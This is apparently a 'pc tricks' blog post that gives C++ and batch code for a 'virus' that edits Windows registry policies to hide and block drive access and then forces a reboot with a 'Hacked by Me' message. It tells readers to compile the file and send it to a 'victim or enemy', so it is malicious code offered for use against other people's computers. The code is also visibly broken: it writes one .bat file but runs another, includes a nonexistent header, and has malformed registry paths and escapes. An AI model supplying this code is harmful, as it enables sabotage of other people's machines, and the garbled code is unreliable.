Tagged under: .Bat Tricks, Dangerous, Dos, pc tricks
Trick to make a hard disk disabling Virus
There is Trick to make a Virus which can disable full Hard Disk. This is a Virus made out of C++ coding. This Trick can be used to hack any computer's hard disk and to annoy the friends or enemy. Note : Don't Run this Program on your Computer otherwise you will lose your Windows. I am not Responsible for any Accident caused by this File on your Computer.
Open Notepad. Copy and Paste the following code into Notepad:
#include<windows.h>
#include<stream.h>
#include<iostream.h>
#include<string.h>
#include<conio.h>
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackDrive.bat" );
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
write<<"shutdown -r -c \"Sorry your Computer is Hacked by Me!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
Save it as HardDiskHack.cpp.
Compile this file in C++ and create the .exe (HardDiskHack.exe) file.
Send this file to the victim or the enemy.
Note : Don't Run so Created HardDiskHack.exe File, otherwise it will attack your Computer itself.
If you are not a good C++ programmer, then you can also create the Bat Virus. To create it follow these simple steps:
- Open Notepad.
- Copy and Paste the following Code into Notepad:
REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\nREG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\nshutdown -r -c \"Sorry your Computer is Hacked by Me!\" -f
- Save it as HardDiskHack.bat.
Now it is done. So it is a simple Trick to make a Virus which can disable full Hard Disk.
0 comments:
Post a Comment